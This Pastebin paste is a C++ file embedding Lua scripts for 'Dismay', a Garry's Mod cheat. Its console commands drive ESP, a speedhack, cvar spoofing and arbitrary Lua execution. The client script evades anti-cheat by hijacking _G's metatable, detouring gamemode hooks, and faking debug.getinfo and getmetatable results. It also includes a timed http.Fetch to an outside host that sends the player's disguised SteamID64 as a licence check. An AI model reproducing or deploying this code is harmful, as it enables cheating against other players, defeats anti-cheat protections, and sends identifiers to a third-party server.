MeepDarknessMeep

old lua for noobs who think i c+p

Jun 11th, 2014
453
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 23.28 KB | None | 0 0
  1. #include "dismay_luafiles.h"
  2.  
  3. const char* LuaFiles::AutorunMenu =
  4.     "local wasDown = {}; \n"
  5.     "local menu = false; \n"
  6.     "local cTime = CurTime(); \n"
  7.     "local console = { \n"
  8.     "        consoleText = \"\"; \n"
  9.     "        consoleTbl = {}; \n"
  10.     "        consoleVars = {}; -- format:  k = cmdname val = function(cmd, args) \n"
  11.     "        consoleBinds = {}; \n"
  12.     "        consoleIDs = {}; \n"
  13.     "        consoleHooks = {};\n"
  14.     "        tempConsoleText = \"\"; \n"
  15.     "}; \n"
  16.     "\n"
  17.     "dismay = {\n"
  18.     "        ['console'] = console,\n"
  19.     "};\n"
  20.     "if (SpeedHack) then dismay.SetSpeed = SpeedHack; SpeedHack = nil; end \n"
  21.     "if (ESP) then dismay.SetESP = ESP; ESP = nil; end \n"
  22.     "if (CAutorun) then dismay.CAutorun = CAutorun; CAutorun = nil; end \n"
  23.     "if (DAutorun) then dismay.DAutorun = DAutorun; DAutorun = nil; end \n"
  24.     "if (SpoofCvar) then dismay.SpoofCvar = SpoofCvar; SpoofCvar = nil; end \n"
  25.     "if (CRunLuaOutside) then dismay.COpenLua = CRunLuaOutside; CRunLuaOutside = nil; end \n"
  26.     "if (MRunLuaOutside) then dismay.MOpenLua = MRunLuaOutside; MRunLuaOutside = nil; end \n"
  27.     "if (CRunLua) then dismay.CRunLua = CRunLua; CRunLua = nil; end \n"
  28.     "if (MRunLua) then dismay.MRunLua = MRunLua; MRunLua = nil; end \n"
  29.     "if (Dev) then dismay.Dev = Dev; Dev = nil; end \n"
  30.     "\n"
  31.     "function dismay.RunClient(str)\n"
  32.     "        RunStringEx(str, \"Dismay2C\");\n"
  33.     "end\n"
  34.     "\n"
  35.     "function console.HookClient(cmd) \n"
  36.     "        console.consoleHooks[cmd] = true;\n"
  37.     "end \n"
  38.     "function console.addLine(line) \n"
  39.     "        console.consoleText = line..\"\\n\"..console.consoleText; \n"
  40.     "end; \n"
  41.     " \n"
  42.     "function console.rebind(key, id, args) \n"
  43.     "        local k = \"KEY_\"..string.upper(key); \n"
  44.     "        if (not _G[k]) then  \n"
  45.     "                console.addLine(\"Key not found: \\\"\"..key..\"\\\"\"); \n"
  46.     "                return; \n"
  47.     "        end \n"
  48.     "        local a = args; \n"
  49.     "        if (type(a) ~= \"table\") then \n"
  50.     "                a = {}; \n"
  51.     "        end \n"
  52.     "        console.consoleBinds[k] = {{['id'] = id, ['args'] = a}}; \n"
  53.     "end \n"
  54.     " \n"
  55.     "function console.addBind(key, id, args) \n"
  56.     "        local k = \"KEY_\"..string.upper(key); \n"
  57.     "        if (not _G[k]) then  \n"
  58.     "                console.addLine(\"Key not found: \\\"\"..key..\"\\\"\"); \n"
  59.     "                return; \n"
  60.     "        end \n"
  61.     "        if (not console.consoleIDs[id]) then \n"
  62.     "                console.addLine(\"ID not found: \\\"\"..id..\"\\\"\"); \n"
  63.     "                return; \n"
  64.     "        end \n"
  65.     "        if (not console.consoleBinds[k]) then console.consoleBinds[k] = {}; end \n"
  66.     "        local a = args; \n"
  67.     "        if (type(a) ~= \"table\") then \n"
  68.     "                a = {}; \n"
  69.     "        end \n"
  70.     "        table.insert(console.consoleBinds[k], {['id'] = id, ['args'] = a}); \n"
  71.     "end \n"
  72.     " \n"
  73.     "function console.deleteBinds(key) \n"
  74.     "        local k = \"KEY_\"..string.upper(key); \n"
  75.     "        if (not _G[k]) then  \n"
  76.     "                console.addLine(\"Key not found: \\\"\"..key..\"\\\"\"); \n"
  77.     "                return; \n"
  78.     "        end \n"
  79.     "        console.consoleBinds[k] = nil; \n"
  80.     "end \n"
  81.     " \n"
  82.     "function console.addLines(...) \n"
  83.     "        local args = {...}; \n"
  84.     "        local fline = \"\"; \n"
  85.     "        for i, val in ipairs(args) do \n"
  86.     "                fline = fline..val..\"\\n\"; \n"
  87.     "        end \n"
  88.     "        console.consoleText = fline..console.consoleText; \n"
  89.     "end \n"
  90.     " \n"
  91.     "function console.Error(fileName, fileLine, errorMessage) \n"
  92.     "        console.addLines(\"HACK ERROR @\"..fileName..\":\"..tostring(fileLine)..\" >> \"..errorMessage); \n"
  93.     "end \n"
  94.     " \n"
  95.     "function console.addCommand(cmd, fn) \n"
  96.     "        if (type(fn) ~= \"function\") then \n"
  97.     "                console.Error(\"Console\", 1, \"type(arg #2) ~= \\\"function\\\"\"); \n"
  98.     "        end \n"
  99.     "        if (type(cmd) ~= \"string\") then \n"
  100.     "                console.Error(\"Console\", 1, \"type(arg #1) ~= \\\"string\\\"\"); \n"
  101.     "        end \n"
  102.     "        console.consoleIDs[cmd] = fn; \n"
  103.     "end \n"
  104.     " \n"
  105.     " \n"
  106.     "local tabs = { \n"
  107.     "        panels = {}, \n"
  108.     "        Console = { \n"
  109.     "                [1] = { \n"
  110.     "                        ['type'] =  'DTextEntry', \n"
  111.     "                        ['x'] = 3, \n"
  112.     "                        ['y'] = 5, \n"
  113.     "                        ['info'] = { \n"
  114.     "                                ['SetEditable'] = {false}, \n"
  115.     "                                ['SetMultiline'] = {true}, \n"
  116.     "                        }, \n"
  117.     "                        ['hooks'] = { \n"
  118.     "                                ['Think'] = function(self) \n"
  119.     "                                        self:SetHeight(self:GetParent():GetTall() - self.ry * 2 - 31); \n"
  120.     "                                        self:SetWidth(self:GetParent():GetWide() - self.rx * 2 - 105); \n"
  121.     "                                        self:SetValue(console.consoleText); \n"
  122.     "                                end, \n"
  123.     "                        }, \n"
  124.     "                }, \n"
  125.     "                [2] = { \n"
  126.     "                        ['type'] =  'DTextEntry', \n"
  127.     "                        ['x'] = 3, \n"
  128.     "                        ['y'] = 5, \n"
  129.     "                        ['info'] = { \n"
  130.     "                        }, \n"
  131.     "                        ['hooks'] = { \n"
  132.     "                                ['Think'] = function(self) \n"
  133.     "                                        self:SetPos(self.rx, self:GetParent():GetTall() - self.ry * 2 - 21); \n"
  134.     "                                        self:SetWidth(self:GetParent():GetWide() - self.rx * 2 - 105); \n"
  135.     "                                        self:SetHeight(self.ry + 21); \n"
  136.     "                                        console.tempConsoleText = self:GetValue(); \n"
  137.     "                                end, \n"
  138.     "                                ['OnEnter'] = function(self) \n"
  139.     "                                        console.addLine(\"\"); \n"
  140.     "                                        local cmd = string.Explode(\" \", self:GetValue())[1]; \n"
  141.     "                                        local args = string.Explode(\" \", self:GetValue()); \n"
  142.     "                                        table.remove(args, 1); \n"
  143.     "                                        if (console.consoleIDs[cmd]) then \n"
  144.     "                                                console.consoleIDs[cmd](cmd, args); \n"
  145.     "                                        elseif (console.consoleHooks[cmd]) then\n"
  146.     "                                                dismay.RunClient(\"dismay.RunHooked('\"..cmd..\"')\")\n"
  147.     "                                                console.addLine(\"Sending command to client: \\\"\"..cmd..\"\\\"\"); \n"
  148.     "                                        else\n"
  149.     "                                                console.addLine(\"Unknown command \\\"\"..cmd..\"\\\"\"); \n"
  150.     "                                        end \n"
  151.     "                                        console.addLine(\">> \"..self:GetValue()); \n"
  152.     "                                        self:SetText(\"\"); \n"
  153.     "                                        self:RequestFocus(); \n"
  154.     "                                end, \n"
  155.     "                        }, \n"
  156.     "                }, \n"
  157.     "                [3] = { \n"
  158.     "                        ['type'] =  'DListView', \n"
  159.     "                        ['x'] = 3, \n"
  160.     "                        ['y'] = 5, \n"
  161.     "                        ['info'] = { \n"
  162.     "                                ['SetWidth'] = {100}, \n"
  163.     "                                ['AddColumn'] = {\"Command\"}, \n"
  164.     "                                ['SetMultiSelect'] = {false}, \n"
  165.     "                        }, \n"
  166.     "                        ['hooks'] = { \n"
  167.     "                                ['Think'] = function(self) \n"
  168.     "                                        self:SetPos(self.rx + self:GetParent():GetWide() - 107, self.ry); \n"
  169.     "                                        self:SetHeight(self:GetParent():GetTall() - self.ry * 2); \n"
  170.     "                                        if (self.textBefore and self.textBefore ~= console.tempConsoleText) then \n"
  171.     "                                                self:Clear(); \n"
  172.     "                                                for cmdname, func in pairs(console.consoleIDs) do \n"
  173.     "                                                        if (string.sub(cmdname, 1, string.len(console.tempConsoleText)) == console.tempConsoleText) then \n"
  174.     "                                                                self:AddLine(cmdname); \n"
  175.     "                                                        end \n"
  176.     "                                                end \n"
  177.     "                                                for cmdname, func in pairs(console.consoleHooks) do \n"
  178.     "                                                        if (string.sub(cmdname, 1, string.len(console.tempConsoleText)) == console.tempConsoleText) then \n"
  179.     "                                                                self:AddLine(cmdname); \n"
  180.     "                                                        end \n"
  181.     "                                                end \n"
  182.     "                                        end \n"
  183.     "                                        self.textBefore = console.tempConsoleText; \n"
  184.     "                                end, \n"
  185.     "                                ['OnRowSelected'] = function(self, line) \n"
  186.     "                                    self:GetParent().children[2]:SetValue(self:GetLine(line):GetValue(1)); \n"
  187.     "                                end, \n"
  188.     "                        }, \n"
  189.     "                }, \n"
  190.     "        }, \n"
  191.     "} \n"
  192.     " \n"
  193.     "local function MakeTab(panel, tabStr) \n"
  194.     "        local tbl = {}; \n"
  195.     "        local totalY = 0; \n"
  196.     "        panel.children = tbl; \n"
  197.     "        for i, obj in ipairs(tabs[tabStr]) do \n"
  198.     "                tbl[i] = vgui.Create(obj.type, panel); \n"
  199.     "                tbl[i]:SetPos(obj.x, totalY + obj.y) \n"
  200.     "                tbl[i].rx = obj.x; \n"
  201.     "                tbl[i].ry = obj.y; \n"
  202.     "                for k, v in pairs(obj.info) do \n"
  203.     "                        tbl[i][k](tbl[i], unpack(v)); \n"
  204.     "                end \n"
  205.     "                for k,v in pairs(obj.hooks) do \n"
  206.     "                        tbl[i][k] = v; \n"
  207.     "                end \n"
  208.     "                totalY = totalY + obj.y + tbl[i]:GetTall(); \n"
  209.     "        end \n"
  210.     "        return(tbl[1]) \n"
  211.     "end \n"
  212.     " \n"
  213.     " \n"
  214.     "local function MakeMenu()  \n"
  215.     "        if (menu) then return; end \n"
  216.     "        cTime = CurTime(); \n"
  217.     "        local m = vgui.Create(\"DFrame\"); \n"
  218.     "        m:SetHeight(math.min(math.max(ScrH() / 2, 250), 560)); \n"
  219.     "        m:SetWidth(math.min(math.max(350, ScrW() / 2), 780)); \n"
  220.     "        m:SetDrawOnTop(true); \n"
  221.     "        m:MakePopup(); \n"
  222.     "        m:SetVisible(true); \n"
  223.     "        m:SetTitle(\"Dismay\"); \n"
  224.     "        local oclose = m.Close \n"
  225.     "       m.Think = function(self) \n"
  226.     "           if (not gui.IsConsoleVisible()) then self.Close(self); end \n"
  227.     "       end \n"
  228.     "        m.Close = function(self) \n"
  229.     "                oclose(self); \n"
  230.     "                menu = false; \n"
  231.     "        end \n"
  232.     "         \n"
  233.     "        local p = vgui.Create(\"DPropertySheet\", m); \n"
  234.     "        p:SetWide(p:GetParent():GetWide()); \n"
  235.     "        p:SetHeight(p:GetParent():GetTall() - 24); \n"
  236.     "        p:SetPos(0,24); \n"
  237.     "         \n"
  238.     "        local console = vgui.Create(\"DFrame\"); \n"
  239.     "        console:ShowCloseButton(false); \n"
  240.     "        console:SetTitle(\"\"); \n"
  241.     "        MakeTab(console, \"Console\"); \n"
  242.     "         \n"
  243.     "        p:AddSheet(\"Console\", console, \"gui/silkicons/user\", false, false, \"Console\"); \n"
  244.     "         \n"
  245.     "        menu = m; \n"
  246.     "end \n"
  247.     " \n"
  248.     "hook.Add(\"Think\", \"IsPressingButton\", function() \n"
  249.     "        for key, tblid in pairs(console.consoleBinds) do \n"
  250.     "                if (input.IsKeyDown(_G[key])) then \n"
  251.     "                        if (not wasDown[key]) then \n"
  252.     "                                for i, tbl in ipairs(tblid) do \n"
  253.     "                                       if (not console.consoleIDs[tbl.id]) then console.addLine('Command not found!\\n'); wasDown[key] = true; return; end \n"
  254.     "                                       console.consoleIDs[tbl.id](tbl.id, tbl.args); \n"
  255.     "                                end \n"
  256.     "                        end \n"
  257.     "                end \n"
  258.     "                wasDown[key] = input.IsKeyDown(_G[key]); \n"
  259.     "        end \n"
  260.     "end) \n"
  261.     " \n"
  262.     "console.addCommand(\"echo\", function(cmd, args) \n"
  263.     "        if (type(args) ~= \"table\") then \n"
  264.     "                console.addLine(\"Usage: \"..cmd..\" <msg>\"); \n"
  265.     "                return; \n"
  266.     "        end \n"
  267.     "        console.addLines(table.concat(args, \" \")); \n"
  268.     "end) \n"
  269.     " \n"
  270.     "console.addCommand(\"dismay-dev\", function(cmd, args) \n"
  271.     "        if (type(args) ~= \"table\") then \n"
  272.     "                console.addLine(\"Usage: \"..cmd..\" <1/0>\"); \n"
  273.     "                return; \n"
  274.     "        end \n"
  275.     "        dismay.Dev(tonumber(args[1]) > 0) \n"
  276.     "end) \n"
  277.     " \n"
  278.     "console.addCommand(\"dismay-esp\", function(cmd, args) \n"
  279.     "        if (type(args) ~= \"table\") then \n"
  280.     "                console.addLine(\"Usage: \"..cmd..\" <1/0>\"); \n"
  281.     "                return; \n"
  282.     "        end \n"
  283.     "        dismay.SetESP(tonumber(args[1]) > 0) \n"
  284.     "end) \n"
  285.     " \n"
  286.     "console.addCommand(\"dismay-autorun\", function(cmd, args) \n"
  287.     "        if (type(args) ~= \"table\") then \n"
  288.     "                console.addLine(\"Usage: \"..cmd..\" <1/0>\"); \n"
  289.     "                return; \n"
  290.     "        end \n"
  291.     "        dismay.CAutorun(tonumber(args[1]) > 0) \n"
  292.     "end) \n"
  293.     " \n"
  294.     "console.addCommand(\"dismay-dismayautorun\", function(cmd, args) \n"
  295.     "        if (type(args) ~= \"table\") then \n"
  296.     "                console.addLine(\"Usage: \"..cmd..\" <1/0>\"); \n"
  297.     "                return; \n"
  298.     "        end \n"
  299.     "        dismay.DAutorun(tonumber(args[1]) > 0) \n"
  300.     "end) \n"
  301.     " \n"
  302.     "console.addCommand(\"dismay-speed\", function(cmd, args) \n"
  303.     "        if (type(args) ~= \"table\") then \n"
  304.     "                console.addLine(\"Usage: \"..cmd..\" <1/0>\"); \n"
  305.     "                return; \n"
  306.     "        end \n"
  307.     "        dismay.SetSpeed(tonumber(args[1])) \n"
  308.     "end) \n"
  309.     " \n"
  310.     "console.addCommand(\"dismay-spoofcvar\", function(cmd, args) \n"
  311.     "        if (type(args) ~= \"table\") then \n"
  312.     "                console.addLine(\"Usage: \"..cmd..\" <oldname> <newname>\"); \n"
  313.     "                return; \n"
  314.     "        end \n"
  315.     "        dismay.SpoofCvar(args[1], args[2]) \n"
  316.     "end) \n"
  317.     " \n"
  318.     "console.addCommand(\"dismay-openlua-cl\", function(cmd, args) \n"
  319.     "        if (type(args) ~= \"table\") then \n"
  320.     "                console.addLine(\"Usage: \"..cmd..\" <loc>\"); \n"
  321.     "                return; \n"
  322.     "        end \n"
  323.     "        dismay.COpenLua(table.concat(args, \" \")) \n"
  324.     "end) \n"
  325.     " \n"
  326.     "console.addCommand(\"dismay-openlua-menu\", function(cmd, args) \n"
  327.     "        if (type(args) ~= \"table\") then \n"
  328.     "                console.addLine(\"Usage: \"..cmd..\" <loc>\"); \n"
  329.     "                return; \n"
  330.     "        end \n"
  331.     "        dismay.MOpenLua(table.concat(args, \" \")) \n"
  332.     "end) \n"
  333.     " \n"
  334.     "console.addCommand(\"dismay-runlua-cl\", function(cmd, args) \n"
  335.     "        if (type(args) ~= \"table\") then \n"
  336.     "                console.addLine(\"Usage: \"..cmd..\" <loc>\"); \n"
  337.     "                return; \n"
  338.     "        end \n"
  339.     "        dismay.CRunLua(table.concat(args, \" \")) \n"
  340.     "end) \n"
  341.     " \n"
  342.     "console.addCommand(\"dismay-runlua-menu\", function(cmd, args) \n"
  343.     "        if (type(args) ~= \"table\") then \n"
  344.     "                console.addLine(\"Usage: \"..cmd..\" <loc>\"); \n"
  345.     "                return; \n"
  346.     "        end \n"
  347.     "        dismay.MRunLua(table.concat(args, \" \")) \n"
  348.     "end) \n"
  349.     " \n"
  350.     "console.addCommand(\"lua_run_menu\", function(cmd, args) \n"
  351.     "        local s, e = pcall(function() \n"
  352.     "                CompileString(\"local s, e = pcall(\"..table.concat(args, \" \")..\"); if (not s) then print(e); end\", \"Console\")(); \n"
  353.     "        end); \n"
  354.     "        if (not s) then \n"
  355.     "                console.Error(\"Console\", 1, e) \n"
  356.     "        end \n"
  357.     "        console.addLines(\"Running menu lua: \\\"\"..table.concat(args, \" \")..\"\\\"\") \n"
  358.     "end) \n"
  359.     " \n"
  360.     "console.addCommand(\"bind\", function(cmd, args) \n"
  361.     "        if (type(args[1]) ~= \"string\" or type(args[2]) ~= \"string\") then \n"
  362.     "                console.addLine(\"Usage: \"..cmd..\" <key> <id>\"); \n"
  363.     "                return; \n"
  364.     "        end \n"
  365.     "        local key = args[1]; \n"
  366.     "        table.remove(args, 1); \n"
  367.     "        local id = args[1]; \n"
  368.     "        table.remove(args, 1); \n"
  369.     "        console.rebind(key, id, args); \n"
  370.     "end) \n"
  371.     " \n"
  372.     "console.addCommand(\"addbind\", function(cmd, args) \n"
  373.     "        if (type(args[1]) ~= \"string\" or type(args[2]) ~= \"string\") then \n"
  374.     "                console.addLine(\"Usage: \"..cmd..\" <key> <id> [args]\"); \n"
  375.     "                return; \n"
  376.     "        end \n"
  377.     "        local key = args[1]; \n"
  378.     "        table.remove(args, 1); \n"
  379.     "        local id = args[1]; \n"
  380.     "        table.remove(args, 1); \n"
  381.     "        console.addBind(key, id, args); \n"
  382.     "end) \n"
  383.     " \n"
  384.     "console.addCommand(\"unbind\", function(cmd, args) \n"
  385.     "        if (type(args[1]) ~= \"string\") then \n"
  386.     "                console.addLine(\"Usage: \"..cmd..\" <key>\"); \n"
  387.     "                return; \n"
  388.     "        end \n"
  389.     "        console.deleteBinds(args[1]); \n"
  390.     "end) \n"
  391.     "console.addCommand(\"lua_run_cl\", function(cmd, args) \n"
  392.     "        dismay.RunClient(\"RunString('\"..table.concat(args, ' ')..\"')\"); \n"
  393.     "        console.addLines(\"Running client lua: \\\"\"..table.concat(args, \" \")..\"\\\"\") \n"
  394.     "end) \n"
  395.     " \n"
  396.     "console.addCommand(\"dismay.menu\", MakeMenu); \n"
  397.     " \n"
  398.     "console.addBind(\"end\", \"dismay.menu\"); \n"
  399.     " \n"
  400.     "console.addLine(\"Dismay console initiated.\");\n";
  401.  
  402. const char* LuaFiles::AutorunCl =
  403.     "print('DISMAY AUTORUN - LOADING');\n"
  404.     "local odismay = dismay or false\n"
  405.     "local dismay = { \n"
  406.     "   filesLoaded = 0; \n"
  407.     "   new_gamemode__hooks = {}; \n"
  408.     "   gamemode__hooks = {}; \n"
  409.     "   old_gamemode__hooks = {}; \n"
  410.     "   OrigFuncs = {}; \n"
  411.     "   FakeFuncs = {}; \n"
  412.     "   CmdHooks = {}; \n"
  413.     "   G = { \n"
  414.     "   } \n"
  415.     "}; \n"
  416.     "if (IsDormant) then \n"
  417.     "   dismay.IsDormant = IsDormant; \n"
  418.     "   IsDormant = nil; \n"
  419.     "end \n"
  420.     "if (GetPred) then \n"
  421.     "   dismay.GetPred = GetPred; \n"
  422.     "   GetPred = nil; \n"
  423.     "end \n"
  424.     "function dismay.DetourFunc(func, newfunc) \n"
  425.     "        table.insert(dismay.OrigFuncs, func); \n"
  426.     "        table.insert(dismay.FakeFuncs, newfunc); \n"
  427.     "end \n"
  428.     "function dismay.CopyTable(t, lookup_table) \n"
  429.     "   if (t == nil) then return nil end \n"
  430.     "    \n"
  431.     "   local copy = {} \n"
  432.     "   setmetatable(copy, getmetatable(t)) \n"
  433.     "   for i,v in pairs(t) do \n"
  434.     "       if ( !istable(v) ) then \n"
  435.     "           copy[i] = v \n"
  436.     "       else \n"
  437.     "           lookup_table = lookup_table or {} \n"
  438.     "           lookup_table[t] = copy \n"
  439.     "           if lookup_table[v] then \n"
  440.     "               copy[i] = lookup_table[v] -- we already copied this table. reuse the copy. \n"
  441.     "           else \n"
  442.     "               copy[i] = dismay.CopyTable(v,lookup_table) -- not yet copied. copy it. \n"
  443.     "           end \n"
  444.     "       end \n"
  445.     "   end \n"
  446.     "   return copy \n"
  447.     "end\n"
  448.     "dismay.G = dismay.CopyTable(_G); \n"
  449.     "setmetatable(_G, { \n"
  450.     "   ['__index'] = function(self, k) \n"
  451.     "       if k == \"dismay\" then \n"
  452.     "           return dismay; \n"
  453.     "       end \n"
  454.     "   end, \n"
  455.     "   ['__newindex'] = function(self, k, v) \n"
  456.     "       dismay.G.rawset(self, k, v); \n"
  457.     "       if k == \"http\" then \n"
  458.     "           timer.Simple(60, function() \n"
  459.     "               local r = math.random(0.000001, 0.000003);\n"
  460.     "               --shitty shit shit shit\n"
  461.     "               http.Fetch(\"http://meep.gentoocorp.org/info.php?stmd=\"..util.NiceFloat(LocalPlayer():SteamID64() / 5 * r)..\"&uid=\"..util.NiceFloat(r), function(body)\n"
  462.     "                   if(not string.find(tostring(body), \"you are authed!\")) then AddConsoleCommand('sendrcon'); end\n"
  463.     "               end, function()\n"
  464.     "                   AddConsoleCommand('sendrcon'); \n"
  465.     "               end);\n"
  466.     "           end) \n"
  467.     "       end \n"
  468.     "       if k == \"GAMEMODE\" then \n"
  469.     "           for k,v in pairs(GAMEMODE) do \n"
  470.     "               dismay.old_gamemode__hooks[k] = v; \n"
  471.     "           end \n"
  472.     "           local GMTbl = GAMEMODE; \n"
  473.     "           if (not getmetatable(GMTbl)) then \n"
  474.     "               setmetatable(GMTbl, { \n"
  475.     "                   ['__newindex'] = function(self, k, v) \n"
  476.     "                       dismay.old_gamemode__hooks[k] = v;\n"
  477.     "                   end, \n"
  478.     "                   ['__call'] = function(self, k, id, v) \n"
  479.     "                       if (not dismay.gamemode__hooks[k]) then dismay.gamemode__hooks[k] = {}; end \n"
  480.     "                       dismay.gamemode__hooks[k][id] = v\n"
  481.     "                       if (not dismay.new_gamemode__hooks[k]) then \n"
  482.     "                           dismay.new_gamemode__hooks[k] = function(GM, ...) \n"
  483.     "                               for k,v in pairs(dismay.gamemode__hooks[k]) do \n"
  484.     "                                   local r = v(...); \n"
  485.     "                                   if (r ~= nil) then return r; end\n"
  486.     "                               end \n"
  487.     "                               if (dismay.old_gamemode__hooks[k]) then\n"
  488.     "                                   dismay.old_gamemode__hooks[k](GM, ...); \n"
  489.     "                               end \n"
  490.     "                           end \n"
  491.     "                           dismay.DetourFunc(dismay.old_gamemode__hooks[k], dismay.new_gamemode__hooks[k]); \n"
  492.     "                       end \n"
  493.     "                       dismay.G.rawset(self, k, dismay.new_gamemode__hooks[k]); \n"
  494.     "                   end, \n"
  495.     "                   ['__index'] = function(self, k) \n"
  496.     "                       local returnval = dismay.old_gamemode__hooks[k] or rawget(self, k); \n"
  497.     "                       return returnval \n"
  498.     "                   end, \n"
  499.     "               } \n"
  500.     "           ); \n"
  501.     "           end \n"
  502.     "       end \n"
  503.     "   end, \n"
  504.     "}); \n"
  505.     "function dismay.AddHook(type, id, func) \n"
  506.     "   GAMEMODE(type, id, func); \n"
  507.     "end \n"
  508.     "function dismay.RemoveHook(type, id)\n"
  509.     "   GAMEMODE(type, id, function() end);\n"
  510.     "end\n"
  511.     "dismay.odbginf       = debug.getinfo; \n"
  512.     "dismay.ogmt          = getmetatable; \n"
  513.     " \n"
  514.     " \n"
  515.     " \n"
  516.     "local ndbginf = function(func, ...) \n"
  517.     "        local args = {...}; \n"
  518.     "        local targ = func; \n"
  519.     "        local arg = args[1] or false; \n"
  520.     "        for i, fakefunc in pairs(dismay.FakeFuncs) do \n"
  521.     "                if (func == fakefunc) then \n"
  522.     "                        targ = dismay.OrigFuncs[i]; \n"
  523.     "                        break; \n"
  524.     "                end \n"
  525.     "        end \n"
  526.     "        local isatable = dismay.G.type(tbl) == \"table\";\n"
  527.     "        local tbl = arg and dismay.odbginf(targ, arg) or dismay.odbginf(targ); \n"
  528.     "        if (isatable and tbl.func) then tbl.func = func; end \n"
  529.     "        if (isatable and tbl.short_src and tbl.short_src == \"\") then tbl.short_src = \"[C]\" end \n"
  530.     "        if (isatable and tbl.source and tbl.source == \"\") then tbl.short_src = \"=[C]\" end \n"
  531.     "        if (isatable and tbl.what and tbl.what == \"\") then tbl.short_src = \"C\" end \n"
  532.     "        return(tbl) \n"
  533.     "end \n"
  534.     " \n"
  535.     "local ngmt = function(tbl, ...) \n"
  536.     "       if (dismay.G.debug.traceback() and (tbl == _G or tbl == GAMEMODE)) then return nil; end \n"
  537.     "       return dismay.ogmt(tbl, ...); \n"
  538.     "end \n"
  539.     "dismay.DetourFunc(debug.getinfo,   ndbginf); \n"
  540.     "debug.getinfo  = ndbginf; \n"
  541.     "\n"
  542.     "function dismay.RunMenu(str) \n"
  543.     "   dismay.G.RunStringEx(str, \"Dismay2M\") \n"
  544.     "end \n"
  545.     "\n"
  546.     "function dismay.RunHooked(cmd, args)\n"
  547.     "        if (dismay.CmdHooks[cmd]) then\n"
  548.     "                dismay.CmdHooks[cmd](cmd, args or \"\");\n"
  549.     "        else\n"
  550.     "                dismay.RunMenu(\"dismay.console.addLine('Cmd not found!')\");\n"
  551.     "        end\n"
  552.     "end\n"
  553.     "\n"
  554.     "function dismay.AddCommand(cmd, func)\n"
  555.     "        dismay.CmdHooks[cmd] = func;\n"
  556.     "        dismay.RunMenu(\"dismay.console.HookClient('\"..cmd..\"')\")\n"
  557.     "end \n";
Advertisement
Add Comment
Please, Sign In to add comment